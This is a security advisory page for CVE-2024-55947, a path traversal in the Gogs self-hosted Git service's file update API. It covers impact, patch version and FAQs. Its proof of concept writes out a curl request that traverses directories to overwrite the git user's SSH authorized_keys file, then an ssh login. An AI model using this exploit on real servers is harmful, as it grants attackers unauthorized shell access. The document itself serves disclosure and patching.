CVE-2024-55947: Gogs has a Path Traversal in file update API

Published Dec 23, 2024
·
Updated

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

1. Generate a Personal Access Tokens 2. Edit any file on the server with this

bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorizedkeys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }'

3. ssh connect to remote server

bash ssh -i temp git@localhost -p 10022

For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Other sources

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

NVD

Affected Software

2 affected componentsFixes available
go/gogs.io/gogs<0.13.1
0.13.1
Gogs Gogs<0.13.1

Event History

Dec 23, 2024
CVE Published
via MITRE·03:26 PM
Data Sourced
via MITRE·03:26 PM
DescriptionWeakness
Data Sourced
via NVD·04:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:53 PM
Dec 10, 2025
News Published
via The Register·09:31 PM
News Published
via The Register·09:34 PM
Dec 11, 2025
News Published
via BleepingComputer·01:19 PM
News Published
via BleepingComputer·01:21 PM
Jan 12, 2026
News Published
via BleepingComputer·08:09 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-55947?

CVE-2024-55947 has a high severity rating due to its ability to allow malicious users to write files to arbitrary paths, potentially compromising the server.

2

How do I fix CVE-2024-55947?

To mitigate CVE-2024-55947, upgrade to Gogs version 0.13.1 or later, which prohibits writing files outside the repository Git directory.

3

What systems are affected by CVE-2024-55947?

CVE-2024-55947 affects Gogs versions prior to 0.13.1, allowing unauthorized file writes.

4

What is the primary impact of CVE-2024-55947?

The primary impact of CVE-2024-55947 is the potential for a malicious user to gain SSH access to the server.

5

Is CVE-2024-55947 being actively exploited?

There is no current public evidence indicating that CVE-2024-55947 is actively being exploited, but it remains a high-risk vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203